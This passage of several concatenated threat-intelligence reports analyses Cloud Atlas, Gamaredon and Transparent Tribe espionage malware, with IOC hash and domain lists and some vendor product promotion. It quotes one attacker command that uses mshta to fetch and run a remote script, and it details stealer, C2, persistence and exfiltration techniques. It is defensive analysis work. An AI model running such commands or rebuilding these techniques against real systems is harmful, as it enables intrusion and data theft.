+example, the hardcoded struct in the PE inside beachmaster.dll will look like this:
+0000h: C6 8E CA BF E5 DE 8E 74 1E 08 E3 FB 6D C1 79 3F 
+0010h: E5 19 69 0C 55 74 54 F7 CF 15 9D AF 00 02 D9 55 
+.i.UtT
+0020h: 47 00 6C 00 6F 00 62 00 61 00 6C 00 5C 00 49 00 G.l.o.b.a.l.\.I.
+0030h: 54 00 4F 00 4A 00 75 00 43 00 65 00 69 00 00 00 T.O.J.u.C.e.i...
+0040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
+truncated
+9/14
+0090h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
+00A0h: 65 00 78 00 61 00 6D 00 69 00 6E 00 65 00 72 00 e.x.a.m.i.n.e.r.
+00B0h: 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e...............
+00C0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
+truncated
+0110h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
+0120h: 7D CB BE 31 61 A3 10 54 8F D7 31 71 5E E7 21 86 }
+0130h: 13 E1 CF 96 .
+....
+The structure is built from an AES256 key which is used to decrypt the companion file, an
+event name which prevents running multiple instances of malware, a file name of the
+encrypted companion file, and a SHA1 hash. The SHA1 at the end of the structure is used for
+a hash check: it matches the calculated SHA1 hash of the first 0x120 bytes of the
+configuration.
+The payload then decrypts the companion file. It uses the AES256 key from the config, and
+the last 16 bytes from the companion file as an IV. It then uses LZNT1 to decompress the
+results and reveal another PE file. The newly revealed DLL also has an encrypted
+configuration hardcoded inside. Its decryption process is similar to those seen in previous
+stages and this config provides information that instructs the malware how to communicate
+with its C&C server.
+The malware still lives up to its 
+cloud name
+ origins and uses cloud storage providers to
+communicate via WebDAV protocol. In the samples we observed, Cloud Atlas used
+OpenDrive as its service of choice. The credentials for OpenDrive are hardcoded in the
+encrypted configuration, along with two URIs (one for uploading files from the victim, one
+for downloading files from the server) and the pattern and extensions to generate the names
+of the uploaded files. The data sent to the service, such as information about the environment
+of the victim, is saved as files under the URI specified in the configuration. Additionally, the
+payload connects to another URI to receive the next payload, and when it downloads the next
+payload, it issues a request to the server to remove the downloaded file. The first module
+which is sent automatically is the stealer module, which is responsible for collecting the login
+and cookie data from multiple browsers on the victim
+s machine.
+Incident response report
+10/14
+While investigating CloudAtlas activity, we stumbled upon some type of incident response
+report written in Russian that was uploaded to VirusTotal from an IP address located in
+Donetsk. This report (no TLP label specified) provides an analysis of a few successful
+intrusions that occurred in June. These intrusions were discovered only in the later stages
+when the attackers already had full access to the entire network including the domain
+controller. Although not all the information in the report is precise and well-detailed, we can
+cautiously extract some of the group
+s additional TTPs during the later stages of the attack:
+After gaining access to the domain controller, the actors extract the snapshot of its
+database using the ntdsutil utility and copy it to their server for offline analysis and
+extraction of password hashes.
+To connect to the machines inside the victim organization
+s network, the attackers use
+the infected computers of ordinary users, from which they then connect via RDP to the
+domain controller. The attackers use existing domain accounts after changing their
+permissions or create accounts with similar names by changing one or two letters. The
+actors conduct their primary activities (using RDP or ssh to other servers, endpoints or
+network equipment) from the domain controller, impersonating regular sysadmin
+operations.
+Additional tools used by the attackers include Advanced Port Scanner (version
+2.5.3869, with Russian interface), file manager Far, Chocolatey, AnyDesk, and
+Putty (copied to the servers and deleted after completing the task). The actors also use
+Python 3 scripts on multiple servers to perform a variety of operations such as:
+searching and deleting all information about connections to webdav.opendrive.com
+from the logs of the Squid proxy server; copying correspondence from Telegram clients,
+saved passwords and browser history; and brute force of Microtik routers.
+It is not clear from the report which organizations or entities were the victims of these
+attacks.
+Conclusion
+Cloud Atlas continuously and persistently targets entities of interest. With the escalation of
+the conflict between Russia and Ukraine, their focus for the past year has been on Russia and
+Belarus and their diplomatic, government, energy and technology sectors, and on the
+annexed regions of Ukraine.
+Cloud Atlas continues to use the simple but effective method of social engineering, using
+spear-phishing emails to compromise their targets. In the first stage of the attack, the actors
+use Word documents with remote templates, usually whitelisted for a particular target, which
+makes the phishing documents almost undetectable. Judging by the fact that the group
+continues to be very active despite only minor changes in TTPs, their methods seem to be
+successful. Not only do they manage to penetrate their targets and expand their initial access
+to the entire domain, but they can also use them as proxies for other operations.
+11/14
+Harmony Email & Office deploys between the inbox and its native security. The solution
+secures inbound, outbound, and internal email from phishing attacks that evade platformprovided solutions and email gateways. It works with these other solutions and doesn
+require any MX record changes that broadcast security protocols to hackers.
+Check Point
+s Threat Emulation protects networks against unknown threats in web
+downloads and e-mail attachments. The Threat Emulation engine picks up malware at the
+initial phase, before it enters the network. The engine quickly quarantines and runs the files
+in a virtual sandbox environment, which imitates a standard operating system, to discover
+malicious behavior at the exploit phase.
+IOCs
+Documents, scripts and payloads
+12/14
+a34d585f66fc4582ed709298d00339a9
+b1aad1ed2925c47f848f9c86a4f35256
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+41d2627522794e9ec227d72f842edaf7
+f95ceca752d219dbc251cca4cd723eae
+044e167af277ca0d809ce4289121a7b5
+1139c39dda645f4c7b06b662083a0b9d
+3399deafaa6b91e8c19d767935ae0908
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+ae74f2bfd671e11828a1ae040fe6d48c
+2a21265df0bdd70a96551d9d6104b352
+a8a93fa8ef221de5ee3d110cfc85243d
+eb527d1682bfbed5d9346e721c38c6f5
+ae828e3c03cc1aaedc43bb391e8b47ed
+c7a1dd829b03b47c6038afa870b2f965
+c2064c7f4826c46bc609c472597366fd
+89d40dd2db9c2cfd6a03b20b307dcdec
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+077b71298ce31832ae43e834b7e6c080
+f68e64dacd046289d4222098ee421478
+d236d8fda2b7d6fd49b728d57c92a0a9
+81932933422d4bc4ece37472f9eb3ddc
+d0d728856a91710df364576e05f2113e
+94283807d0c97b3adb8f4ab45fffb5bc
+0e9147b824bc1d2507984ccd2a36d507
+dc3faa6840d1b5fd296d71ee8877254e
+aa04bfcc675c73be1238fa953e19c4cf
+789afbe3a173d13d0b3700da6a629e15
+acbbc6fea0dbbe7cba511b450cc2b758
+e79833c9f758775ba0d82b8f4c8d2981
+3609ca3013d29fb824805b9a996eff70
+956f2241e81345d6507d0cd43499dba1
+a3ba37cde2644ed6345d2c74ce25bfd8
+a7a004e7118c986f1e07c87ce52a60e5
+b7b71b35fbfd119319015b04de817b3c
+f29cbc7639b53003fb33d8b20b9c0b59
+Domains
+13/14
+desktoppreview[.]com
+gettemplate[.]org
+driversolution[.]net
+translate-news[.]net
+technology-requests[.]net
+protocol-list[.]com
+comparelicense[.]com
+support-app[.]net
+remote-convert[.]com
+GO UP
+BACK TO ALL POSTS
+14/14
+Gamaredon APT targets Ukrainian government agencies
+in new campaign
+blog.talosintelligence.com/gamaredon-apt-targets-ukrainian-agencies
+September 15, 2022
+By Asheer Malhotra, Guilherme Venere
+Thursday, September 15, 2022 09:09
+Threat Spotlight SecureX Ukraine
+THIS POST IS ALSO AVAILABLE IN:
+ (Ukrainian)
+Cisco Talos recently identified a new, ongoing campaign attributed to the Russia-linked
+Gamaredon APT that infects Ukrainian users with information-stealing malware.
+The adversary is using phishing documents containing lures related to the Russian
+invasion of Ukraine.
+LNK files, PowerShell and VBScript enable initial access, while malicious binaries are
+deployed in the post-infection phase.
+Download One-pager
+1/16
+We discovered the use of a custom-made information stealer implant that can exfiltrate
+victim files of interest and deploy additional payloads as directed by the attackers.
+Cisco Talos discovered Gamaredon APT activity targeting users in Ukraine with malicious
+LNK files distributed in RAR archives. The campaign, part of an ongoing espionage operation
+observed as recently as August 2022, aims to deliver information-stealing malware to
+Ukrainian victim machines and makes heavy use of multiple modular PowerShell and
+VBScript (VBS) scripts as part of the infection chain. The infostealer is a dual-purpose
+malware that includes capabilities for exfiltrating specific file types and deploying additional
+binary and script-based payloads on an infected endpoint.
+The adversary uses phishing emails to deliver Microsoft Office documents containing remote
+templates with malicious VBScript macros. These macros download and open RAR archives
+containing LNK files that subsequently download and activate the next-stage payload on the
+infected endpoint. We observed considerable overlap between the tactics, techniques and
+procedures (TTPs), malware artifacts and infrastructure used in this campaign and those
+used in a series of attacks the Ukraine Computer Emergency Response Team (CERT-UA)
+recently attributed to Gamaredon.
+We also observed intrusion attempts against several Ukrainian entities. Based on these
+observations and Gamaredon's operational history of almost exclusively targeting Ukraine,
+we assess that this latest campaign is almost certainly directly targeting entities based in
+Ukraine.
+2/16
+Attack Chain
+Initial Access
+Gamaredon APT actors likely gained initial footholds into targeted networks through
+malicious Microsoft Office documents distributed via email. This is consistent with spearphishing techniques common to this APT.
+Malicious VBS macros concealed within remote templates execute when the user opens the
+document. The macros download RAR archives containing LNK files. The naming
+convention of the RAR archives in this campaign follows a similar pattern:
+31.07.2022.rar
+04.08.2022.rar
+10.08.2022.rar
+These compressed archives usually contain just the LNK file. The LNK files and Microsoft
+Office document names contain references pertinent to the Russian invasion of Ukraine:
+Execution
+Once opened, the LNKs will attempt to execute MSHTA.EXE to download and parse a
+remote XML file to execute a malicious PowerShell script:
+mshta.exe hxxp://a0704093.xsph[.]ru/bass/grudge.xml /f
+Gamaredon is known to use the domain xsph[.]ru. The servers in this campaign only allow
+access from IP addresses inside the Ukrainian address space.
+3/16
+This PowerShell script decodes and executes a second PowerShell script (instrumentor),
+which collects data from the victim and reports back to a remote server. This script also
+allows the remote server to send a PowerShell command or binary blob containing encrypted
+VBScript (VBS) code to be executed locally:
+4/16
+5/16
+Second-stage PowerShell script that runs additional commands and payloads on the endpoint.
+The instrumentor PowerShell script usually consists of a function that decodes the encrypted
+response from the command and control (C2) server and executes it as a VBScript object. The
+key used in the XOR decoder is calculated based on the machine's volume serial number plus
+index parameters passed in the response blob. This method makes it difficult to decode the
+malicious content if an observer looking at the data doesn't have both parameters available.
+The PowerShell script also repeatedly captures the current user's screen. This code uses the
+"System.Windows.Forms" object to capture a copy of the virtual desktop, including
+setups with multiple screens. The screen capture is executed nine times, but the resulting
+screenshot is always saved to "%TEMP%\test.png", which gets overwritten every time. The
+resulting image (PNG file) is then converted to a base64-encoded string, stored in a variable
+and the screenshot image file is removed from the disk.
+The script then proceeds to upload the victim's information to the remote server. The
+following information is then collected and exfiltrated to a hardcoded C2 URL.
+Computer name.
+Volume serial number.
+Base64-encoded screenshot.
+Upon sending the system information, the server response is parsed to see if there are
+commands to be executed. The entire script runs up to four times, thus up to four different
+commands can be executed each time.
+The code checks if the first character is an exclamation point ("!"). If so, the remainder of the
+response is expected to be a PowerShell code that is passed directly to the command IEX. The
+output of that command is then added to the variable "cmd" and sent back to the C2 server.
+If the response starts with any other character, it is treated as an encrypted blob and passed
+to the decoder function, along with the volume serial number to be decoded and executed as
+VBScript.
+6/16
+Infection chain diagram.
+Payloads
+Yet another PowerShell script
+One of the payloads served to the instrumentor script was PowerShell code used to set an
+environmental variable with PowerShell code in it and a Registry RUN key to run every time
+the user logs in.
+7/16
+PowerShell script setting up the RUN key to execute another PowerShell script stored in the environment
+variable.
+There are two key components to this script:
+The Get-IP function: This function queries a DNS lookup service for an attackerspecified domain and uses one of the returned IP addresses as the IP to download the
+next payloads.
+Next-stage payload: The PowerShell script uses the IP address to construct a URL that
+serves the next-stage PowerShell script, which is subsequently stored in "$env:Include"
+and executed when the user logs in (via the HKCU\\Run key).
+Persistence script fetching the remote location's IP.
+8/16
+The PowerShell code residing in the environment variable is meant to provide the attackers
+with continued access to the infected endpoint with the capability to deploy additional
+payloads as desired. A similar PowerShell script was described in CERT-UA's recent alert
+describing intrusions conducted by Gamaredon in the first half of 2022 using the
+GammaLoad and GammaSteel implants.
+PowerShell script stored in the env variable.
+9/16
+This script uses the same Get-IP() function to get a random IP assigned to the domain and
+queries a URL constructed from the IP address and a hardcoded extended resource. Just like
+the previous script, the computer name and volume serial number are used again in
+communications with the C2 server. The C2 server uses them to encode the next-stage
+payload subsequently served to the script.
+If the response from the C2 starts with the string "http", the content is treated as the URL to
+download the final payload binary. The Volume Serial Number and Computer Name are
+passed to this URL and the response is decoded using the XorBytes function.
+PowerShell function used to decode payloads from C2 server.
+The decrypted binary is then saved to the "%TEMP%" folder with a name consisting of a
+random string of numbers and the ".exe" file extension and is executed.
+Alternatively, if the response from the C2 does not begin with the "http" string, the content is
+treated as a VBS and executed via a COM object.
+Infostealer
+One of the executables deployed by the attackers via the PowerShell script consisted of an
+information stealer that exfiltrates files of specific extensions from the infected endpoint:
+.doc, .docx, .xls, .rtf, .odt, .txt, .jpg, .jpeg, .pdf, .ps1, .rar, .zip, .7z and .mdb. This is a new
+infostealer that Gamaredon has not previously used in other campaigns. We suspect it may
+be a component of Gamaredon's "Giddome'' backdoor family, but we are unable to confirm
+that at this time.
+The malicious binary keeps track of what has been exfiltrated in a file named
+"profiles_c.ini" in the "%USERPROFILE%\Appdata\Local" folder. The malware
+stores the MD5 hash of a string containing the filename, file size and modification date of the
+exfiltrated file.
+10/16
+Once started, the malware scans all attached storage devices looking for files with the
+aforementioned extensions. For each one, the malware makes a POST request with metadata
+about the exfiltrated file and its content.
+POST data to exfiltrate files.
+The parameter "p" contains metadata about the stolen file and the victim machine using the
+following format:
+%u&&%s&&%s&&%s&&%s&&%s
+Where the various parameters are:
+<Hard_coded_value>&&<File_name>&&<File_Modification_Date_time>&&
+<FileSize>&&__&&<Computer_Name>&&<Username>&&
+<Victim_ID_randomly_generated_string_12_chars>&&<Volume Serial Number>
+The raw content of the file comes after the metadata. The request is made to a random URI
+under the parent C2 domain. The implant generates a random 12-character string that acts as
+a subdomain for the C2 domain to send requests to:
+E.g. <random_12_char_string>[.]celticso[.]ru
+The implant will also search for the relevant file extensions in fixed and remote drives and
+specifically in the "C:\Users" folder. The implant enumerates all the files recursively in the
+directories on the system while avoiding enumeration of any folder containing the following
+strings in the path:
+program files
+program files (x86)
+11/16
+programdata
+perflogs
+prog
+windows
+appdata
+local
+roaming
+Avoiding these folders is likely an attempt by the malware to avoid exfiltrating system files
+thereby focussing on user files of interest only.
+For each file exfiltrated to the C2, the implant calculates the MD5 hash for the following
+information and stores it in the "%LocalAppData%\profiles_c.ini" file:
+<file_path><File_size><File_modification_date_time>
+The implant also steals files from removable drives connected to the infected endpoint. When
+the implant finds a removable drive, it looks for files with the file extensions listed earlier.
+Once a file is found, the implant creates a randomly named folder in the %TEMP% directory
+and copies the original file from its original location to:
+%Temp%\<randomly_named_folder>\connect\<removable_vol_serial_number>\
+<original file path>
+For example, a user file found in a remote drive "E:" at path
+"E:\top_secret_docs\isengard.doc" will be copied to
+"%temp%\randomly_named_folder\connect\
+<removable_vol_serial_number>\top_secret_docs\isengard.doc"
+The contents of the folder in the temp directory are subsequently exfiltrated to the C2.
+Deliver payloads
+As with this actor's previous tools (e.g., the PS1 scripts), this binary also parses the server
+response and downloads additional payloads if requested. The response from the server
+consists of a flag indicating how the data should be treated:
+Flag
+Payload Type
+Action
+Written to disk and executed.
+Written to disk and executed using wscript.exe.
+Any other value
+Blob of data
+Written to a file on disk in the %TEMP% folder.
+12/16
+Code depicting the dropping of additional payloads.
+There are other indications this malware may be present on the system, listed below:
+13/16
+A registry key is created under
+HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the name
+"Windows Task" for persistence
+A mutex is created with the name Global\flashupdate_r
+Coverage
+Ways our customers can detect and block this threat are listed below.
+Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the
+execution of the malware detailed in this post. Try Secure Endpoint for free here.
+Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects
+malware used in these attacks.
+Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat
+actors as part of their campaign. You can try Secure Email for free here.
+Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances
+such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect
+malicious activity associated with this threat.
+Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds
+protection into all Cisco Secure products.
+Umbrella, Cisco
+s secure internet gateway (SIG), blocks users from connecting to malicious
+domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free
+trial of Umbrella here.
+Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks
+potentially dangerous sites and tests suspicious sites before users access them.
+14/16
+Additional protections with context to your specific environment and threat data are
+available from the Firewall Management Center.
+Cisco Duo provides multi-factor authentication for users to ensure only those authorized are
+accessing your network.
+Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the
+latest rule pack available for purchase on Snort.org. Snort Rules 60517-60539 are available
+for this threat.
+Orbital Queries
+Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to
+see if their endpoints are infected with this specific threat. For specific OSqueries on this
+threat, click here and here.
+IOCs
+The IOC list is also available in Talos' Github repo here.
+Malicious
+Documents4aa2c783ae3d2d58f12d5e89282069533a80a7ba6f7fe6c548c6230a9601e650
+Files581ed090237b314a9f5cd65076cd876c229e1d51328a24effd9c8d812eaebe6a
+34bf1a232870df28809597d49a70d9b549d776e1e4beb3308ff6d169a59ecd02
+78c6b489ac6cebf846aab3687bbe64801fdf924f36f312802c6bb815ed6400ba
+1cb2d299508739ae85d655efd6470c7402327d799eb4b69974e2efdb9226e447
+a9916af0476243e6e0dbef9c45b955959772c4d18b7d1df583623e06414e53b7
+8294815c2342ff11739aff5a55c993f5dd23c6c7caff2ee770e69e88a7c4cb6a
+be79d470c081975528c0736a0aa10214e10e182c8948bc4526138846512f19e7
+5264e8a8571fe0ef689933b8bc2ebe46b985c9263b24ea34e306d54358380cbb
+ff7e8580ce6df5d5f5a2448b4646690a6f6d66b1db37f887b451665f4115d1a2
+1ec69271abd8ebd1a42ac1c2fa5cdd9373ff936dc73f246e7f77435c8fa0f84c
+Files750bcec54a2e51f3409c83e2100dfb23d30391e20e1c8051c2bc695914c413e3
+Infostealer
+139547707f38622c67c8ce2c026bf32052edd4d344f03a0b37895b5de016641a
+Malicious URLs
+15/16
+hxxp://a0698649.xsph[.]ru/barley/barley.xml
+hxxp://a0700343.xsph[.]ru/new/preach.xml
+hxxp://a0700462.xsph[.]ru/grow/guests.xml
+hxxp://a0700462.xsph[.]ru/seek/lost.xml
+hxxp://a0701919.xsph[.]ru/head/selling.xml
+hxxp://a0701919.xsph[.]ru/predator/decimal.xml
+hxxp://a0701919.xsph[.]ru/registry/prediction.xml
+hxxp://a0704093.xsph[.]ru/basement/insufficient.xml
+hxxp://a0704093.xsph[.]ru/bass/grudge.xml
+hxxp://a0705076.xsph[.]ru/ramzeses1.html
+hxxp://a0705076.xsph[.]ru/regiment.txt
+hxxp://a0705269.xsph[.]ru/bars/dearest.txt
+hxxp://a0705269.xsph[.]ru/instruct/deaf.txt
+hxxp://a0705269.xsph[.]ru/prok/gur.html
+hxxp://a0705581.xsph[.]ru/guinea/preservation.txt
+hxxp://a0705880.xsph[.]ru/band/sentiment.txt
+hxxp://a0705880.xsph[.]ru/based/pre.txt
+hxxp://a0705880.xsph[.]ru/selection/seedling.txt
+hxxp://a0706248.xsph[.]ru/reject/headlong.txt
+hxxp://a0707763.xsph[.]ru/decipher/prayer.txt
+Additional Payload Drop Sites
+hxxp://155.138.252[.]221/get.php
+hxxp://45.77.237[.]252/get.php
+hxxp://motoristo[.]ru/get.php
+hxxp://heato[.]ru/index.php
+hxxps://<random_string>.celticso[.]ru
+162[.]33[.]178[.]129
+kuckuduk[.]ru
+pasamart[.]ru
+celticso[.]ru
+16/16
+Transparent Tribe campaign uses new bespoke malware
+to target Indian government officials
+blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html
+By Asheer Malhotra and Justin Thattil with contributions from Kendall McKay.
+Cisco Talos has observed a new Transparent Tribe campaign targeting Indian
+government and military entities. While the actors are infecting victims with
+CrimsonRAT, their well-known malware of choice, they are also using new stagers and
+implants.
+This campaign, which has been ongoing since at least June 2021, uses fake domains
+mimicking legitimate government and related organizations to deliver malicious
+payloads, a common Transparent tribe tactic.
+Based on our analysis of Transparent Tribe operations over the last year, the group has
+continued to change its initial entry mechanisms and incorporate new bespoke
+malware, indicating the actors are actively diversifying their portfolio to compromise
+even more victims.
+Notably, the adversary has moved towards deploying small, bespoke stagers and
+downloaders that can be easily modified, likely to enable quick and agile operations.
+Transparent Tribe deploys new implants
+Transparent Tribe, also known as APT36 and Mythic Leopard, continues to create fake
+domains mimicking legitimate military and defense organizations as a core component of
+their operations. In the latest campaign conducted by the threat actor, Cisco Talos observed
+1/23
+multiple delivery methods, such as executables masquerading as installers of legitimate
+applications, archive files and maldocs to target Indian entities and individuals. These
+infection chains led to the deployment of three different types of implants, two of which we
+had not previously observed:
+CrimsonRAT: A remote access trojan (RAT) family that Transparent Tribe frequently
+uses to conduct espionage operations against their targets.
+A previously unknown Python-based stager that leads to the deployment of .NET-based
+reconnaissance tools and RATs.
+A lightweight .NET-based implant to run arbitrary code on the infected system.
+This campaign also uses fake domains mimicking legitimate government and pseudogovernment organizations to deliver malicious payloads, a typical Transparent Tribe tactic.
+Threat actor profile
+Transparent Tribe is a suspected Pakistan-linked threat actor. This group targets individuals
+and entities associated with governments and military personnel in the Indian subcontinent,
+specifically Afghanistan and India. Transparent Tribe has also been known to use their
+CrimsonRAT implant against human rights activists in Pakistan.
+The group primarily uses three Windows-based malware families to carry out espionage
+activities against their targets.
+CrimsonRAT is a .NET-based implant that has been the group's malware of choice
+since at least 2020 . Transparent Tribe's multiple campaigns leveraging CrimsonRAT
+over the years indicate a steady evolution in the implant's capabilities.
+ObliqueRAT is a C/C++-based implant discovered by Talos in early 2020.
+ObliqueRAT is primarily reserved for highly targeted attacks on government personnel
+and in operations where stealth is a prime focus of the attackers' infection chain. This
+implant has also seen a constant evolution in deployment tactics and malicious
+functionalities over time.
+Custom malware used by Transparent Tribe consists of easily and quickly deployable
+downloaders, droppers and lightweight RATs containing limited capabilities as
+opposed to CrimsonRAT and ObliqueRAT.
+Transparent Tribe also maintains a suite of mobile implants in their arsenal. Implants such
+as CapraRAT are constantly modified to be deployed against targets. These implants contain
+a plethora of malicious capabilities meant to steal data from mobile devices.
+2/23
+Downloader executables
+Talos observed the use of downloader executables containing different lures related to the
+Indian government. Themes included topics related to COVID-19, resumes and installers for
+government applications, such as the Kavach multi-factor authentication (MFA) application.
+Latest variant
+The latest downloaders primarily masquerade as installers for Kavach and are distributed for
+delivering malicious artifacts to targets. Kavach is widely used by government personnel, as it
+allows employees (including military personnel) to access the Indian government's I.T.
+resources, such as email services.
+The droppers are .NET-based executables. They begin execution by checking if the timezone
+on the infected endpoint contains keywords such as "India." A splash screen is displayed to
+the victim notifying them that the Kavach application is being installed:
+Fake installation splash screen
+The downloaders will then reach out to a malicious website, masquerading as a legitimate
+Indian government or pseudo-government entity, to download a malicious payload that is
+then activated on the endpoint.
+3/23
+Next, download a legitimate copy of the Kavach application's MSI installer from yet another
+attacker-controlled website and execute it to make the whole attack chain appear legitimate.
+Downloader fetching and executing malicious payload and legitimate installer for Kavach.
+Additional variant
+Another variation of the initial infection vector used in the campaign is a notably large
+downloader binary (141MB) that contains the entire legitimate installer (MSI) for the Kavach
+application in its resources. The zipped copy of the MSI is extracted from the downloader's
+resources and executed on the system as a decoy to appear legitimate to the targets. The
+actual implant is then downloaded from a remote location, AES-decrypted using a hardcoded
+key, written to disk and executed on the infected endpoint.
+4/23
+The second variant of the downloader downloads and decrypts the payload from a remote
+location.
+A timeline of older variants
+As early as June 2021, the attackers primarily used malicious documents (maldocs) as an
+initial infection vector to deliver the malicious downloaders. This vector consisted of a
+malicious macro that would download and activate the downloader on the infected endpoint.
+This practice continued into July 2021.
+However, beginning with June 2021, there was also a steady evolution in the distribution
+tactics used in this campaign. Around this time, we began observing the use of nontraditional initial entry mechanisms throughout the course of this campaign, suggesting a
+clear intention of aggressively infecting targets for espionage.
+For instance, in June 2021, the attackers used IMG files for distribution, containing multiple
+infection artifacts 
+ all COVID-19 themed 
+ to trick targets into getting infected. Wrapping
+malware in IMG files is a tactic gaining traction with crimeware operators and APTs as a way
+to deliver malware to victims since newer versions of the Windows OS natively support IMG
+files.
+Malicious IMG distributed by Transparent Tribe.
+The malicious image consists of four files:
+Malicious Python-based stager.
+Decoy PDF document containing a COVID-19-themed lure.
+VBS file for executing the stager and displaying the decoy.
+Malicious LNK file for activating the VBS on the endpoint.
+5/23
+6/23
+In September 2021, the actors switched up their initial infection artifact and used VHDX files
+delivering the malicious droppers. VHDX files do not retainMark Of the Web (MOTW)
+stamps and thus artifacts such as maldocs, delivered through these wrappers aren't identified
+as originating from the internet by Microsoft utilities such as Word, Excel etc. - allowing the
+attackers to run malicious code on the endpoint without any Microsoft warnings.
+The variant of the downloaders used here, previously disclosed by Cyble, masqueraded as an
+app from the Canteen Stores Department (CSD) of the Government of India. On execution,
+this variant would open the legitimate website for CSD on the target's system. However, as
+seen previously with Transparent Tribe, the threat actors continued the development of
+similar infection chains consisting of various themes to distribute their malware without
+regard for any previous public disclosures.
+The threat actor then introduced the use of RAR archives to distribute malicious malware in
+November 2021. The RAR archive consisted of the downloader, this time downloading a
+highly specific decoy PDF containing the work history of an Indian government official. The
+RAR archives are typically password-protected and hosted on public media sharing websites.
+Therefore, it is highly likely that Transparent Tribe used spearphishing emails to deliver
+download URLs for the archives to their targets via emails containing the passwords for the
+archives.
+Timeline of evolution of entry vectors:
+7/23
+Implant analyses
+CrimsonRAT
+CrimsonRAT is a popular malware RAT implant that consists of a wide variety of capabilities.
+It is the staple implant of choice for Transparent Tribe to establish long-term access into
+victim networks. This RAT is actively worked upon and has seen considerable updates over
+the years in not just the development of new capabilities, but also to obfuscate the implant by
+the APT group.
+The latest version of CrimsonRAT seen in this campaign in January and February 2022
+contains a number of capabilities, including:
+List files and folders in a directory path specified by the C2.
+Run specific processes on the endpoint 
+ keylogger and USB modules.
+List process IDs and names running on the endpoint.
+Get information such as name, creation times and size of image files (pictures such as
+BMP, JPG etc.) specified by the C2.
+Take screenshots of the current screen and send it to C2.
+Upload keylogger logs from a file on disk to the C2.
+8/23
+Send system information to C2 including:
+Computername, username, Operating System name, filepath of implant, parent
+folder path.
+Indicator of whether the keylogger module is in the endpoint and running and its
+version.
+Indicator of whether the USB module is in the endpoint and running and its
+version.
+Run arbitrary commands on the system.
+Write data sent by C2 to a file on disk.
+Read contents of a file on disk and exfiltrate to C2.
+List all drives on the system.
+List all files in a directory.
+Download the USB worm and keylogger modules from the C2 and write them to disk.
+Send a file's name, creation time and size to the C2- file path is specified by the C2.
+Delete files specified by the C2 from the endpoint.
+Get names, creation times and size of all files containing the file extension specified by
+the C2.
+9/23
+Code Snippet: CrimsonRAT command handler.
+Seen in:
+Jan-Feb 2022: Deployed by Kavach-themed downloaders.
+Lightweight implant
+A new lightweight, .NET-based implant was also seen in this campaign in several infection
+chains. This implant has limited capabilities when compared to CrimsonRAT but contains
+enough functionality to control and monitor the infected system. Capabilities include:
+List all running processes on the endpoint.
+Download and execute a file from the C2.
+Download and execute a file specified by the C2 from another remote location.
+10/23
+Close connection with the C2 until the next run.
+Gather system information from the endpoint such as Computer Name, username,
+public and local IPs, Operating system name, list of runnings AVs, device type (desktop
+or laptop).
+The implant also persists via an InternetShortcut in the current user's Startup directory.
+Implant downloading and executing a file from a remote location.
+Seen in:
+Jan-Feb 2022: Deployed by Kavach-themed downloaders.
+November 2021: Seen in infection chains using RAR archives hosted on CMS.
+September 2021: Deployed by CSD-themed downloaders.
+Python-based stagers
+We've also observed the use of Python-based stagers throughout this campaign. These
+stagers are pyinstaller-based EXEs and consist of the following functionalities:
+Collect system information from the endpoint consisting of all running process names,
+computername and OS name and send it to a remote C2 URL.
+Drops one of two embedded files: A malicious DLL used to activate a recon tool in the
+current user's Startup folder based on whether the endpoint is Windows 7 or not.
+Parse responses from the C2 to obtain data that is then written to a file to disk.
+All the relevant information used in the functioning of the stager is kept in a separate Python
+file.
+11/23
+Stager configuration information.
+Seen in:
+June 2021: Maldocs.
+June 2021: IMG files.
+Embedded implant
+The embedded implants deployed by the python based stager will simply activate a malicious
+DLL existing on disk by loading and running it in the embedded implant's process. The DLL
+loaded is the actual malicious reconnaissance tool used by the attackers.
+Recon tool
+The DLL implant will first send a beacon to the C2 server URL to indicate that it has been
+successfully deployed. The C2 server must reply with a specific keyword such as
+"onlyparanoidsurvive" for the implant to start accepting commands from another C2 URL.
+The implant will first send a list of all files in the current user's Cookie directory to the C2. In
+response, the C2 may send the "senddevices" command to the implant. If this command is
+received, the implant will send the following data to a third C2 URL:
+OS Caption from CIM_OperatingSystem.
+All local IP addresses of the infected endpoint.
+Device type 
+ desktop or laptop.
+Product version of the executable in which the DLL has been loaded.
+12/23
+Implant gathering system information for exfiltration to the C2.
+The implant will then proceed to get executables from the remote C2 server that are then
+executed on the infected endpoint.
+13/23
+Helper DLL used to execute binaries on the endpoint.
+Targeting and attribution
+This campaign saw the use of multiple types of lures and decoys to target Indian government
+personnel. This is a targeting tactic typical of groups operating under the Pakistani nexus of
+APT groups, such as Transparent Tribe and SideCopy.
+For example, in July 2021, we saw the attackers use themes related to the 7th Indian Central
+Pay Commission (7th CPC) for government employees in maldocs to deliver the Pythonbased stager that deployed malware on the infected endpoints. Transparent Tribe will
+frequently use the 7th CPC as a topic of interest to trick victims into opening maldocs and
+infecting themselves.
+14/23
+Maldoc with 7th CPC themes.
+We also saw the use of COVID-themed lures and decoys containing advisories primarily
+targeting employees of the government of India. This is another tactic that the Transparent
+Tribe has utilized in past operations.
+15/23
+COVID-19-themed decoy used against government employees.
+Over the past year, we have observed this threat actor heavily utilize women's resumes to
+target individuals of interest. This is inline with their tactic of honey trapping targets by using
+such malicious resumes and executables that display alluring pictures. This campaign,
+however, used a similar yet distinct theme. Instead of resumes, we observed the use of a
+decoy document in November 2021 that detailed a male Indian Ministry of Defence (MoD)
+employee's work experience.
+16/23
+Service history of an MoD official used as a lure/decoy.
+Another TTP used by Transparent Tribe in their operations is the cloning of legitimate
